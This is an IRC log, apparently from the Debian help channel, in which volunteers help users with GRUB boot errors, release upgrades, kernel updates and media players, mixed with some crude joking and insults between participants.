| 00:00.01 | digits | then I tried to upgrade vlc with no success |
| 00:00.21 | digits | jpinx-eeepc, been there, done that :) |
| 00:00.30 | honschu | digits: svn mplayer rocks btw ;) |
| 00:00.42 | digits | is that for etch? |
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| 00:01.07 | digits | *sigh* |
| 00:01.09 | honschu | digits: you have no clue what svn is, right? |
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| 00:01.13 | digits | no |
| 00:01.46 | jpinx-eeepc | digits: if you had read it all and obeyed the instructions you would not be here asking |
| 00:01.58 | honschu | digits: ... it's a typical computer problem, you just want to do x and on the way to x you make up a real big while(!x) |
| 00:01.59 | craigevil | digits: just face it what you want isnt going to work for xandros/etch |
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| 00:02.16 | Vlat- | hi ppl |
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| 00:02.36 | digits | craigevil, yeah. this is hopeless |
| 00:02.42 | Vlat- | anyone tried to install latest deb at Lenovo SL500 ? |
| 00:02.49 | Vlat- | ubuntu sucked hard |
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| 00:03.34 | jpinx-eeepc | digits: stop wasting everyone's time - includding your own - and install debian |
| 00:03.53 | digits | jpinx-eeepc, I will |
| 00:04.00 | digits | on another linux pc |
| 00:04.10 | digits | as this is my only laptop |
| 00:04.19 | jpinx-eeepc | stop trolling digits |
| 00:04.21 | digits | I would hate to hose it |
| 00:04.32 | digits | I am trolling? |
| 00:04.44 | honschu | digits: no you don't |
| 00:05.10 | jpinx-eeepc | you've been asking teh same questions for a few hours now and you don't read the answers |
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| 00:05.19 | jpinx-eeepc | so yes digits - you are trolling |
| 00:05.27 | honschu | ^^ |
| 00:05.35 | digits | ok |
| 00:05.41 | digits | I have been reading |
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| 00:05.51 | digits | I am just trying to find alternatives |
| 00:06.21 | digits | but there are none |
| 00:07.04 | honschu | digits: This whole linux thing is a big thing - and you can only get better with reading and learning. But overall, it gives freedom and and jist just fun |
| 00:08.00 | digits | tries one more thing, before quiting.... |
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| 00:08.13 | adb | <PROTECTED> |
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| 00:11.53 | conold | cannot set the clock. when i run hwclock --debug, i get: hwclock: Open of /dev/rtc failed, errno=2: No such file or directory. When I 'ls /dev/clock', no such file or dir. |
| 00:12.18 | conold | i mean /dev/rtc |
| 00:12.25 | digits | nope, my idea did not work |
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| 00:12.33 | digits | i'm out |
| 00:13.07 | digits | thanks for helping as much as was done |
| 00:13.12 | w9fyi | Is this the debian irc channel? |
| 00:13.22 | digits | w9fyi, yes |
| 00:13.31 | digits | but I am leaving now |
| 00:13.40 | digits | good bye :) |
| 00:13.56 | w9fyi | ah ok... any idea where I might find something about how to resolve dependencies with winkey daemon? I'm a debian newbie |
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| 00:15.26 | w9fyi | anybody have any idea of an easy way to resolve dependencies? I tried installing wine, and I'm getting some kind of dependency with winkey daemon? |
| 00:15.50 | w9fyi | I'm a debian newbie... I'm not even sure what winkey daemon does... |
| 00:16.16 | conold | modprobe rtc fixes it for the moment. how to ensure the module is always loaded? |
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| 00:17.21 | w9fyi | so what exactly do i need to do... forgive me I'm new at using this... |
| 00:17.33 | conold | where is everyone, gone for their Sat evening fling? |
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| 00:18.39 | w9fyi | this allhappened when I did an apt-get install wine* |
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| 00:20.43 | w9fyi | What exactly is wine? |
| 00:20.52 | w9fyi | or maybe that is the wrong question, what is this winkey daemon? |
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| 00:22.11 | adb | apt-cache show winkey |
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| 00:23.36 | w9fyi | ok and what of this dependency error with winkey daemon. What is actually going on? |
| 00:24.58 | adb | w9fyi: on lenny ? |
| 00:25.10 | w9fyi | yes it is on lenny |
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| 00:26.12 | aliceinwire_ | http://aliceinwire.pastebin.com/d510cb119 |
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| 00:26.22 | aliceinwire_ | copyright-lists-upstream-authors-with-dh_make-boilerplate |
| 00:26.26 | jpinx-eeepc | w9fyi: what are you trying to install? |
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| 00:27.10 | w9fyi | What i did and I might have made a mistake. I was trying to install wine. so i did an apt-get install wine*. since I wasn't sure what the package name was... |
| 00:27.30 | jpinx-eeepc | w9fyi: what do you want wine for |
| 00:27.51 | w9fyi | well knowking what I know now I don't really need it |
| 00:28.04 | jpinx-eeepc | w9fyi: aptitude purge wine |
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| 00:29.10 | jpinx-eeepc | w9fyi: I hope so - for your sake ;) |
| 00:29.29 | jpinx-eeepc | w9fyi: run it and see |
| 00:29.54 | w9fyi | ok... Thanks. is there a way to upgrade from lenny to testing/sid, I'd like to get a newver version of gnome and orca. |
| 00:29.59 | pingouin | why would a debian lenny amd64 only show 3888 ram in free -m (or cat /proc/meminfo) with a 4 dimm of 1G installed ? |
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| 00:32.10 | elik | Anyone using and having issue with epiphany lately? |
| 00:32.23 | Vi0L0 | i used to use apache-ssl in debian for some time ago (like 1 yr ago). and in new debian 5 i cant see anything like that... apache-ssl was very easy for config and was all that i wanted, is there REALLY no apache-ssl? |
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| 00:32.49 | glaea | hi guys. I'm getting a GRUB "error 17" right after a debian installation. So I'm now trying to reinstall GRUB with these directions: To reinstall <GRUB> simply boot to your Debian install disk, live CD or whatever else you have, switch to the other console (Alt-F2), then mount your root filesystem (mount -t ext2 /dev/whatever /target ; mount --bind /dev /target/dev), then chroot into it (chroot /target) then run "mount /proc ; update-grub & |
| 00:33.13 | glaea | could anyone please tell me if this is correct (with consideration of my fdisk -l): http://pastebin.com/m37e9f4f5 |
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| 00:34.10 | TrueDD | Good night all |
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| 00:36.34 | w9fyi | so what is the apt-get equivelent to yum search? |
| 00:36.39 | jpinx-eeepc | !grub error 17 |
| 00:36.39 | dpkg | For grub error 17, see http://www.gentoo.org/doc/en/grub-error-guide.xml |
| 00:36.46 | jpinx-eeepc | glaea: ^^ |
| 00:36.59 | jpinx-eeepc | w9fyi: aptitude search |
| 00:37.09 | glaea | jpinx-eeepc: I've already looked over that, it did not help |
| 00:37.18 | glaea | my partitioning order already seems to be fine |
| 00:37.48 | w9fyi | so i can do aptitude search followed by package name? or this would help me find something so that I might be able to play mp3 files instl firefox etc? |
| 00:38.26 | aliceinwire_ | i have finished a deb package |
| 00:38.39 | aliceinwire_ | now what i m supposed to do for sponsor it |
| 00:38.40 | aliceinwire_ | ? |
| 00:38.52 | Vi0L0 | glaea, im using arch, and ur commands look very strange to me |
| 00:39.08 | Vi0L0 | glaea, i was reinstalling grub many times succesfully |
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| 00:39.19 | Vi0L0 | glaea, best man i ever saw: http://wiki.archlinux.org/index.php/Reinstalling_GRUB |
| 00:39.53 | glaea | Vi0L0: it's not a surprise that my commands look strange -- I understanding of the mount command isn't great |
| 00:40.09 | glaea | I'll look over that link, thanks. |
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| 00:40.23 | Vi0L0 | glaea, its all about archlinux, but i think that in debian way it should look same |
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| 00:40.43 | Vi0L0 | glaea, that link is great :) |
| 00:40.48 | pjj | hm anyone experienced with renpy (visual nova game engine) somehow I don't get the sound to work |
| 00:41.48 | glaea | Vi0L0: well I hope to God it works |
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| 00:42.37 | glaea | Vi0L0: hrm, I'd have to use a *Archlinux* install disc, eh |
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| 00:43.39 | Vi0L0 | glaea, i don't think that should be necessary, use any iso with grub |
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| 00:44.38 | glaea | Vi0L0: yeah, any LIVE disc. the frightening things with GRUB's error 17 is that it happens so early.. literally a second or two after I hit the power on button on the pc |
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| 00:47.05 | Vi0L0 | glaea, i've never experienced such problems, hmm... dunno, linux is buggy? ;) or maybe somthing with yr hd? |
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| 00:48.51 | jpinx-eeepc | glaea: bad bios? |
| 00:49.22 | glaea | I do'nt know, but I wouldn't have thought so |
| 00:49.50 | Vi0L0 | glaea, seen this? http://www.cyberciti.biz/tips/restore-debian-linux-grub-boot-loader.html |
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| 00:54.05 | glaea | > 1) Press ALT+F2 (or ALT+CTRL+F2) to get shell prompt |
| 00:54.28 | glaea | that sould work with the Debian install disc? right after the graphical installer boot menu? It's not working for me |
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| 00:55.19 | DeathWolf | does anyone have a decent NAT howto/tutorial that I could give to someone not that experimented? |
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| 00:58.05 | Vi0L0 | glaea, i dunno im usin debian only in vm but... can u choose for example advanced options -> rescue mode? |
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| 00:59.22 | glaea | Vi0L0: I suppose I'll give it a try |
| 00:59.28 | glaea | (the rescure mode) |
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| 00:59.56 | Vi0L0 | glaea, isnt rescue mode sound REALLY seriously? :) but i dunno, im guessing and trying to help u |
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| 01:01.08 | Vi0L0 | i still cannot belive that nobody out of 900 debian users wanna help u... |
| 01:01.49 | glaea | Vi0L0: :-\ |
| 01:03.06 | Vi0L0 | glaea, did u tried this http://wiki.debian.org/GrubRecover |
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| 01:03.30 | glaea | do people with dual boot typically install grub on mbr? |
| 01:03.39 | glaea | I'm at that prompt right now |
| 01:04.11 | Vi0L0 | yes |
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| 01:05.14 | glaea | *sigh* |
| 01:05.22 | glaea | just reinstalled GRUB, didn't help |
| 01:05.44 | glaea | I did install it on the mbr |
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| 01:06.18 | jpinx-eeepc | glaea: the mbr of the device or the partition |
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| 01:06.42 | glaea | jpinx-eeepc: the device |
| 01:07.00 | jpinx-eeepc | do you get the grub menu when you boot? |
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| 01:07.11 | glaea | jpinx-eeepc: nope |
| 01:07.16 | jpinx-eeepc | glaea: is ita raid? |
| 01:07.22 | glaea | jpinx-eeepc: no |
| 01:07.46 | jpinx-eeepc | glaea: what os's do you have? |
| 01:07.58 | glaea | jpinx-eeepc: I made a post here - there's more detail if you're up for it http://www.linuxquestions.org/questions/debian-26/getting-grub-error-17-after-a-dual-boot-winxp-debian-installation-742379/#post3619310 |
| 01:08.01 | jpinx-eeepc | does grub see them all? |
| 01:08.03 | glaea | jpinx-eeepc: just XP |
| 01:08.11 | glaea | jpinx-eeepc: it seems that it does, yes |
| 01:08.36 | jpinx-eeepc | which did you install last - linux or XP ? |
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| 01:08.57 | Nathan` | I have a problem with the Debian installer |
| 01:09.07 | Nathan` | while partitionating the drives, it hangs on 33% |
| 01:09.13 | Nathan` | what should I do? |
| 01:09.22 | jpinx-eeepc | Nathan`: check the drive |
| 01:09.27 | Nathan` | how |
| 01:09.38 | Vi0L0 | fsck :) |
| 01:09.41 | glaea | jpinx-eeepc: Linux was installed last |
| 01:09.42 | jpinx-eeepc | badblocks, fsck, etc |
| 01:09.55 | Nathan` | ye, but how, with what |
| 01:10.16 | jpinx-eeepc | glaea: then grub should install normally and allow XP as well - you're doing something wierd |
| 01:10.35 | jpinx-eeepc | Nathan`: those are the application names |
| 01:10.47 | glaea | jpinx-eeepc: I installed in a similar manner on another laptop (though it had Vista on it) -- and everything went perfectly there |
| 01:10.53 | adb | Nathan`: live-cd ? |
| 01:11.10 | Nathan` | .. I will try |
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| 01:11.51 | adb | Nathan`: but first , retry installing in expert mode |
| 01:11.58 | jpinx-eeepc | glaea: good - so you know how grub works - there is something different about the setup you are trying to get installed into grub now |
| 01:12.18 | PsiKlops | lelu: http://forums.debian.net/viewtopic.php?f=16&t=42324 |
| 01:12.21 | Nathan` | and what should I do in expert mode, adb? |
| 01:12.37 | adb | all steps .. |
| 01:12.43 | jpinx-eeepc | Nathan`: it also depends on whether you have asked partitioning to do something it can't |
| 01:13.25 | glaea | I installed GRUB just a moment ago with the rescue mode on Debian as well as during the initial installation -- I'll try putting it on hda3 now, I suppose |
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| 01:13.43 | glaea | (the partition with Debian) .. just for the heck of it, I suppose |
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| 01:14.12 | glaea | err, installed GRUB previously on the first partition* I had meant |
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| 01:14.33 | WindowSmasher | !gsynaptics |
| 01:14.40 | Nathan` | <jpinx-eeepc> Nathan`: it also depends on whether you have asked partitioning to do something it can't - like? |
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| 01:14.47 | Nathan` | sup with grub |
| 01:14.51 | adb | glaea: grub exit w/o errors ? |
| 01:15.12 | glaea | *sigh* .. still no difference |
| 01:15.16 | glaea | adb: pardon? |
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| 01:15.44 | adb | glaea: grub-install exit w/o errors ? |
| 01:15.56 | glaea | adb: that it did, yes |
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| 01:16.52 | adb | retry ` grub-install --recheck |
| 01:17.10 | glaea | adb: I should mention, I was on the graphical rescue mode, which seems to hide the nitty gritty details |
| 01:17.15 | glaea | I'll this time log in with a shell |
| 01:17.34 | ultraj6 | im having trouble setting up a static ip address in lenny |
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| 01:18.25 | adb | glaea: see message in Alt+ F4/4 |
| 01:18.26 | ultraj6 | how do i define a dns server |
| 01:18.53 | glaea | adb: ah, okay |
| 01:19.50 | adb | glaea: you can use Alt+ F2 or F3 for commands |
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| 01:21.51 | conold | problem |
| 01:23.31 | conold | anybody's home? |
| 01:24.21 | jpinx-eeepc | !ask |
| 01:24.21 | dpkg | If you have a question, just ask! For example: "I have a problem with ___; I'm running Debian version ___. When I try to do ___ I get the following output ___. I expected it to do ___." Don't ask if you can ask, if anyone uses it, or pick one person to ask. We're all volunteers; make it easy for us to help you. If you don't get an answer try a few hours later or on debian-user@lists.debian.org. See <smart questions><errors>. |
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| 01:25.18 | conold | not a damned soul. the userlist here is the longest obituary list i have come across. |
| 01:25.28 | jpinx-eeepc | just ask |
| 01:25.38 | jpinx-eeepc | half-wit |
| 01:25.53 | jpinx-eeepc | !weekend |
| 01:25.54 | dpkg | rumour has it, weekend is the time you can actually code without feeling remorses :) |
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| 01:28.00 | glaea | adb: I just did again the GRUB re-installationed (on (hd0), and the buffer over at alt+f4 does indeed report "Installation finished. No error reported" |
| 01:28.06 | glaea | and yet still I get Error 17 |
| 01:28.14 | glaea | re-installation* |
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| 01:33.06 | wooby | hi i'm trying to install on a 486 using etch boot cds and the ncurses installer.. i'm able to get pretty far but it hangs after getting install packages |
| 01:33.11 | wooby | i think it's running out of memory |
| 01:34.02 | wooby | anyone have any idea about how i might get it installed? |
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| 01:36.24 | jpinx-eeepc | wooby: netinstall the base system |
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| 01:39.48 | Pnux | hey, im trying to get a better understandment of daemons. Is it possible to pick any software (lets say Pidgin) and make for it a daemon that will do the connection before the login screen? |
| 01:39.55 | glaea | the shell over at alt+f2 doesn't have a lot of things.. (e.g., #fidsk -l gives me "-b/bin/sh: fdisk: not found"). what gives? |
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| 01:42.49 | Nathan` | it doesn't work |
| 01:43.12 | Nathan` | adb, ubuntu won't start via the live-cd |
| 01:43.14 | Nathan` | it just hangs |
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| 01:47.56 | ranix | Nathan`: are you asking for help with Debian? |
| 01:48.14 | JordiGH | Is it possible that libdvdread3 or libdvdcss2 are too old in lenny to play Fiddler on the Roof? |
| 01:48.33 | JordiGH | I can decrypt the thing in squeeze, but not sure if that's because the hardware is different. |
| 01:48.57 | JordiGH | I can only get the menu in VLC but no other titles in the lenny lappy. |
| 01:49.50 | ranix | unlikely JordiGH |
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| 01:51.23 | JordiGH | ranix: This is does not bode well for Judaism. :-/ |
| 01:51.31 | glaea | ooookay.. it seems that I'm not having much luck with this. I did get to see that my WinXP partitions were safe and sound there. Any tips on how I may be able to boot WinXP? The GRUB error shows just only a second after I turn the machine on (I don't even get to see the menu) |
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| 01:52.26 | Pnux | glaea: check /boot/grub/menu.lst |
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| 01:57.01 | tawan | glaea, what error and what did you recently do to the system? |
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| 02:01.19 | bugjar | what alternatives are there to rhythmbox in squeeze? if i try to get -just- rhythmbox, i might as well move the whole thing from lenny to squeeze? |
| 02:02.06 | Pnux | rhythmbox the audio player? |
| 02:02.14 | Pnux | bugjar: ^ |
| 02:02.56 | bugjar | Pnux : yeh, appears that lenny's rhythmbox has a bug that is only recently fixed to not fail when listening to a stream |
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| 02:04.40 | bugjar | Pnux : truth be told, it might a bug in mpd as well, but |
| 02:04.51 | Pnux | bugjar: from the top of my head, juk, amarok (both KDE), xmms and vlc |
| 02:05.18 | glaea | Pnux & tawan : sorry, I was away there for a sec. both my problem (and menu.lst) are in detail here: http://www.linuxquestions.org/questions/debian-26/getting-grub-error-17-after-a-dual-boot-winxp-debian-installation-742379/ |
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| 02:05.46 | glaea | tawan: GRUB "Error 17" |
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| 02:05.59 | bugjar | Pnux : anyway, it is definately in rhythmbox (GStreamer) http://bugzilla.gnome.org/show_bug.cgi?id=320984 |
| 02:06.36 | bugjar | Pnux : thanks, i'll give those a try. |
| 02:08.01 | Pnux | bugjar: i wouldnt recommend VLC for playing audio, Juk should be ok if you like rhythmbox.. i recommend Amarok |
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| 02:08.05 | tawan | glaea, does anything in menu.lst have a UUID as that UUID will have altered since you did partition work. So run blkid to find the new UUID's or just edit menu.lst to use real links eg /dev/sda2 instead of UUID |
| 02:08.16 | enouf | i recommend mplayer or vlc |
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| 02:08.33 | enouf | or something much smaller/lighter like cplay |
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| 02:09.57 | jaggz- | direction on setting up my own dyndns type thing? so when i connect my own dns will take up the new IP? |
| 02:10.20 | jaggz- | (DNS server is remote.. but let's say I hook up from a local cafe...) |
| 02:10.27 | enouf | glaea: wipe all OSes (make Backups) and learn how to partition your disks without using Ext'd DOS + logicals, and reinstall correctly - and don;t let micropoop dictate to you which HDD needs to be 1st system disk |
| 02:10.41 | jaggz- | actually, here I'm on dynamic IP now too.. arg. |
| 02:10.56 | enouf | dyndns.org? |
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| 02:12.22 | glaea | enouf: I was just coming to realize that.. alright - however, before that, do you think it'd be possible to have XP back for when I do the backing up? |
| 02:12.30 | bugjar | Pnux : VLC has some interesting features, but i sure don't need the MPD & icecast that i was using. |
| 02:12.43 | bugjar | ^ sorta using.... |
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| 02:16.28 | enouf | glaea: sure - you just need to reinstall the MBR from microsoft most likely - NOTE; i have NOT read your entire posts., nor have looked at your pastes |
| 02:16.41 | jaggz- | I guess I could use a public dns system |
| 02:18.20 | glaea | tawan: btw, the menu.lst doesn't seem to have any UUID's. at least, I can't spot them. |
| 02:18.36 | enouf | glaea: it's really most likely a Disk "boot ordering" issue and correct menu.lst entries and proper Grub install -- BUT, MS likes and needs to be 1st (system) disk. 1st (system) partition .. grub has a "map" command to workaround that - but it's only good if on separate Disks |
| 02:18.46 | tawan | glaea, sorry i confused it for fstab, my bad, |
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| 02:19.05 | enouf | glaea: you don;t _need_ to use UUIDs or LABELs, but it takes some guess work out |
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| 02:19.44 | glaea | enouf: I don't think it's a ordering issue. I tried going in "fdisk /dev/hda" and giving the commans X, F, and W (which supposedly "fix" the ordering) - it had no effect |
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| 02:20.27 | enouf | tawan: grub can take UUIDs and LABELs as well as fstab -- but not for stanzaa as "root (hdX,X)" .. but under # kopts= and # groot= |
| 02:21.06 | luke3321 | Anyone heard any new about when iceweasel 3.5.1 is going to get migrated to unstable? |
| 02:21.07 | enouf | tawan: i mean - it can take a "kernel /boot/vmlinuz root=UUID=xxxxxx, options" line |
| 02:21.10 | luke3321 | *news |
| 02:22.16 | enouf | tawan: grub1 can -- and grub2, being much more modular, likely can even do more, but specifics, i cannot give, i haven't worked with grub2 much at all |
| 02:22.52 | jaggz- | can ssh client verify the server's public key (instead of the IP address test)? |
| 02:22.58 | glaea | do most modern distros use grub2 now? |
| 02:23.29 | craigevil | luke3321: just grab it from exp it works just fine |
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| 02:23.50 | luke3321 | craigevil: That so? You are running it? |
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| 02:24.09 | manwoll | everytime i want to install a file, i have to load in tons of other stuff. suspect i have specified more than one rep. but /etc/apt/resources.list shows only one rep. anywhere else to look for? |
| 02:24.15 | craigevil | luke3321: i have it installed, i got tired of waiting on it and instaled firefox |
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| 02:24.41 | luke3321 | craigevil: I would do that, but there is no pre-compiled binary for 64bit |
| 02:24.46 | enouf | glaea: some do - debian is working on it, and it's default in newer releases of debian now ... |
| 02:25.00 | enouf | glaea: /msg dpkg grub2 |
| 02:25.07 | wooby | i'm getting "INFO: kbd-mode: setting console mode to Unicode" in an endless loop after 'loading installer modules,' anyone know the problem? |
| 02:25.16 | wooby | this is on the etch installer, from floppies |
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| 02:25.25 | craigevil | luke3321: im suprised the 64bit hasnt made it into sid, its been sitting in exp for almost 2 weeks |
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| 02:25.35 | enouf | craigevil: how much faster is exper version vs sid's version? |
| 02:25.46 | enouf | craigevil: 32bit |
| 02:25.56 | craigevil | enouf: 3.5.1 fixes some security bugs/holes |
| 02:26.22 | craigevil | other than that its pretty much the same as 3.5 |
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| 02:27.24 | luke3321 | craigevil: The lack of links to compiled debs would lead me to believe I must build the debs myself, correct? |
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| 02:27.54 | manwoll | #pastebin |
| 02:27.55 | craigevil | luke3321: for iceweasel? |
| 02:28.12 | luke3321 | craigevil: mhm |
| 02:30.00 | Gualem | hello linux friends |
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| 02:31.53 | manwoll | pls read http://paste.debian.net/42676. |
| 02:32.31 | Gualem | thx |
| 02:32.36 | manwoll | why all the fuss when i only want to install hplip? |
| 02:32.44 | bugjar | ..wow... to add amarok requires a ton of stuff.... |
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| 02:33.32 | Arafangion | bugjar: All hail modern software engineering practices! |
| 02:33.33 | CodeN1nj4 | amarok is cool, 2.1 supports streams from ampache |
| 02:34.01 | bugjar | Arafangion : ha. |
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| 02:34.05 | cast | ampache? |
| 02:34.13 | CodeN1nj4 | audio streaming server |
| 02:34.28 | cast | ah. |
| 02:34.57 | CodeN1nj4 | I have an ampache server up, but its not doing much... always having problems getting some of my songs to work |
| 02:35.24 | bugjar | CodeN1nj4 : i like streams and that's why i want to replace rhythmbox. ..but i can't see why i need to add.. well, removeable media ejection.... |
| 02:35.28 | enouf | craigevil: i really only care about Bloat and Speed |
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| 02:36.00 | enouf | craigevil: if the pages load faster -- or "draw" properly, i'll gra it |
| 02:36.04 | enouf | grab* |
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| 02:36.17 | CodeN1nj4 | bugjar: meh, rhythmbox was alright, right now I'm using exaile but it doesn't do media streams well |
| 02:36.20 | bugjar | heck, i don't need a full featured ... i want a player that listens to ogg and mp3 streams |
| 02:36.26 | craigevil | enouf: Processes 104 Uptime 6:41 Memory 220.8/493.5MB < thats in lxde, with firefox+chatzilla 10 tabs, evince, lxterminal +shell-fm |
| 02:36.28 | manwoll | what's the diff between cups and cupsys for printing? |
| 02:36.33 | enouf | but ... if it still renders like a POFS, i'll wait for another couple of years |
| 02:36.59 | craigevil | bugjar: if all you need is to listen to streams try moc, or shell-fm for last.fm |
| 02:37.00 | enouf | craigevil: i'm not talking about RAM usage -- it's always be a hog |
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| 02:37.18 | enouf | s/it's/it'll/ |
| 02:37.36 | enouf | compared to a nice compiled binary such as links2 |
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| 02:38.28 | bugjar | CodeN1nj4 : i set up mpd to house my music. got a newer/faster/better desktop so i decided to send it out with icecast... rhythmbox works for ONE song of that stream due to a gstreamer failure |
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| 02:39.09 | enouf | im talking about this a) click link b) page in new tab starts to load c) you switch to new tab d) you notice it's STILL drawing and loading and processing all the WEBdev shit! and then e) you try to highlght some text, and it MOVES .. b/c it's not fully rendered yet! |
| 02:39.11 | craigevil | enouf: 105m 21m S 2 21.4 6:34.97 firefox-bin, barely using cpu |
| 02:39.12 | CodeN1nj4 | bugjar: ampache supports mpd use, as well as streaming and a web based flash player |
| 02:39.43 | enouf | craigevil: and that's the scenario with FlASHITBLOCk and ADSHITBLOCK employed |
| 02:40.05 | enouf | ... plus custom filters |
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| 02:40.36 | craigevil | i tweak the hell out my user.js , i use noscript and adblockplus but i also use a hosts file to block most crap |
| 02:40.54 | enouf | craigevil: you obviously haven't yet hit a FLASH loaded page -- even with FlashBlock .. you would see CPU spike if you watched top/htop |
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| 02:41.22 | enouf | craigevil: ok -- so no JavaShitScript ...ok |
| 02:41.36 | enouf | well - if that's the case, then i do NOT need IW |
| 02:41.39 | craigevil | granted but thats flash its sucks period |
| 02:41.46 | enouf | i only use it for the convenience of JS crap |
| 02:41.51 | enouf | not Java |
| 02:42.05 | enouf | and CSS support and shit |
| 02:42.34 | enouf | craigevil: agreed |
| 02:42.52 | enouf | craigevil: we have differing issues though - and thanks for the engaging convo |
| 02:43.03 | bugjar | CodeN1nj4 : hrm. ampache. will look up |
| 02:43.28 | craigevil | flash servers one purpose to watch porn :) |
| 02:43.36 | enouf | craigevil: i knew since win98 that XUL/XML was never going to be "the answer" to asshole web coders |
| 02:43.53 | cast | crappy low res pwn not stored locally? |
| 02:43.57 | enouf | craigevil: no - i need 720p for that :-p |
| 02:44.05 | cast | uh, porn, i mean. |
| 02:44.22 | enouf | cast: no, you meant "pr0n" |
| 02:44.24 | enouf | :-p |
| 02:44.49 | Arafangion | remembers when his dad watched him rescue a crashed system... He wasn't impressed with "fsck". |
| 02:44.56 | Arafangion | Apparently I should've been better than that! |
| 02:45.00 | enouf | !fsck |
| 02:45.00 | dpkg | extra, extra, read all about it, fsck is a file system integrity checker (man 8 fsck), or a visually-similar euphemism for fuck. See also <forcefsck>. |
| 02:45.05 | enouf | !sex |
| 02:45.06 | dpkg | updatedb; locate; talk; date; cd; strip; look; touch; finger; unzip; uptime; gawk; head; apt-get install diaphram; mount; fsck; more; yes; yes; yes; more; umount; apt-get remove --purge condom; make clean; sleep |
| 02:45.10 | enouf | there we go |
| 02:45.16 | cast | forcefsck, haha |
| 02:45.22 | enouf | fingers Arafangion |
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| 02:45.37 | enouf | cast: not so funny ... in certain contexts |
| 02:46.01 | cast | indeed, losing data is no laughing matter. |
| 02:46.17 | enouf | cast: right, "context" |
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| 02:47.03 | manwoll | hey, this is out of topic. fuck off. |
| 02:47.14 | enouf | hey! where's yescat in that sequence :-P |
| 02:47.19 | manwoll | fsck off. |
| 02:47.27 | enouf | manwoll: shut up you dick |
| 02:47.36 | enouf | ;-) |
| 02:47.41 | manwoll | enouf: stfu and gfy. |
| 02:47.48 | manwoll | :D |
| 02:47.53 | enouf | goes elesewhere |
| 02:48.09 | manwoll | to gfy. :d |
| 02:48.11 | manwoll | :D |
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| 02:51.16 | bugjar | yay! moc ftw.. \o/ |
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| 02:52.20 | PsiKlops | hi. i would like to set this in to ~/.bash_profile : export PATH=$PATH:/home/user/bin but have noticed that i havent got a ./bash_profile, where else can i set this? |
| 02:52.32 | enouf | PsiKlops: yes you do |
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| 02:52.46 | enouf | PsiKlops: and anyways. set it in ~/.bashrc |
| 02:53.05 | enouf | PsiKlops: stop being root user for no reason |
| 02:55.28 | PsiKlops | enouf: what do you mean? |
| 02:57.48 | PsiKlops | enouf: can you please explain it here then |
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| 02:58.46 | Arrowmaster | enouf: perty sure by default new users only have a ~/.profile and not a ~/.bash_profile |
| 02:59.35 | enouf | PsiKlops: "whoami" says? (no quotes) |
| 02:59.43 | enouf | Arrowmaster: wrong |
| 02:59.49 | enouf | Arrowmaster: only root does |
| 03:00.14 | enouf | Arrowmaster: unless - something changed radically since Sarge :-P |
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| 03:00.32 | enouf | need to eat |
| 03:00.32 | PsiKlops | enouf: my user name? |
| 03:00.45 | enouf | PsiKlops: is it root? |
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| 03:00.51 | PsiKlops | enouf: nope |
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| 03:01.08 | enouf | PsiKlops: echo $TERM ; ls -l /bin/sh |
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| 03:01.42 | enouf | PsiKlops: you cannot _not_ have a ~/.bashrc ... unless you fucked up |
| 03:01.50 | Arrowmaster | enouf: on my install i did when lenny was still in testing i just did ls -al /etc/skel/, .bash_logout .bashrc and .profile, no .bash_profile |
| 03:02.08 | n08l3J | hello debian folks, I tried to upgrade from 4.0 to 5.0, I changed the sources.list; installed the new version of aptitude; run aptitude upgrade ; aptitude install ; aptitude dist-upgrade. |
| 03:02.21 | n08l3J | However my kernel didn't get updated to 2.26 |
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| 03:02.30 | PsiKlops | i have a ~/.bashrc i dont have a ~/.bash_profile |
| 03:02.36 | n08l3J | how can i update the kernel ? |
| 03:03.11 | ddoom_ | i just installed debian 5.02 and it's taken me to a grub prompt |
| 03:03.28 | enouf | PsiKlops: or .. you're using a *buntu or other offspring |
| 03:03.40 | n08l3J | however /etc/debian_version says 5.0.2 |
| 03:03.47 | n08l3J | any ideas ? |
| 03:03.48 | cast | n08l3J: use apttude install linux-image ... |
| 03:04.08 | PsiKlops | enouf: nope |
| 03:04.23 | n08l3J | cast, it doesn't do anything on that says 0B is needed and all that stuff |
| 03:04.36 | Arrowmaster | enouf: trust me, ~/.bash_profile isnt created by default for new users anymore |
| 03:05.07 | n08l3J | do i have to provide the version number ? |
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| 03:05.11 | PsiKlops | Arrowmaster: new users, as in new to lenny ? |
| 03:05.11 | cast | n08l3J: so does dpkg -l|grep linux-image list a lenny kernel? |
| 03:05.14 | cast | n08l3J: yes. |
| 03:05.31 | ranix | as in created by adduser |
| 03:05.31 | n08l3J | so linux-image-2.26 ? |
| 03:05.40 | n08l3J | is what should i use ? |
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| 03:06.10 | n08l3J | cast dpkg list the etch kernel |
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| 03:07.20 | ddoom_ | i just installed debian 5.02 amd64 and it's taken me to a grub prompt, i chose to install grub to the mbr - any ideas how to fix this? |
| 03:07.34 | cast | n08l3J: there is no 2.26, use aptitude search and decide for yourself |
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| 03:08.04 | cast | ddoom_: well, boot your install then config grub |
| 03:08.21 | cast | ddoom_: you'll need kernel, initrd and boot cmds |
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| 03:09.16 | enouf | PsiKlops: /etc/skel contents doesn't mean shit |
| 03:09.34 | enouf | and is totally irrelevant to what you asked |
| 03:09.56 | enouf | ooopsa... i meant Arrowmaster |
| 03:10.01 | PsiKlops | enouf: what? |
| 03:10.03 | PsiKlops | lol |
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| 03:10.30 | Baconizer | Greetings, Debian wizard people! |
| 03:10.43 | n08l3J | cast, thanks a lot. Its updating now |
| 03:10.44 | enouf | listen man .. one of you guys should program a "proper and working" nickcolorizing script |
| 03:10.59 | enouf | otherwise, go play the lotto or something |
| 03:11.02 | Baconizer | I can turn Lenny into Squeeze easily, correct? |
| 03:11.11 | Baconizer | By replacing "lenny" in sources.list with "squeeze" |
| 03:11.20 | cast | enouf: hmm, never tried a colorizing script...might give the irssi one a go now |
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| 03:12.03 | enouf | cast: don't bother == start from scratch -- they all suck and are horribly broken |
| 03:12.17 | enouf | cast: use sirc/dsirc/ksirc as templates if neeeded |
| 03:13.16 | enouf | cast: and yes - the irssi ones suck ass - and are broken .. beond AFD |
| 03:13.21 | enouf | beyond* |
| 03:13.30 | cast | hey you just went purple. |
| 03:13.48 | enouf | cast: and how many others? |
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| 03:14.01 | cast | nfi, script unloaded now :D |
| 03:14.12 | enouf | and don't tell me about fucken "tweeter, freinds, facebook" additives |
| 03:14.55 | enouf | i can't be liable for handling 900 name lists just to have "random colors" in 24 irc channels |
| 03:15.29 | enouf | er that's 900 * 24 ....(yes, hyperbole) ... deal with it |
| 03:16.44 | cast | oh dear, you're still hilighted |
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| 03:17.19 | enouf | laughs |
| 03:17.31 | enouf | have fun hon |
| 03:17.35 | cast | hopefully /upgrade killed it |
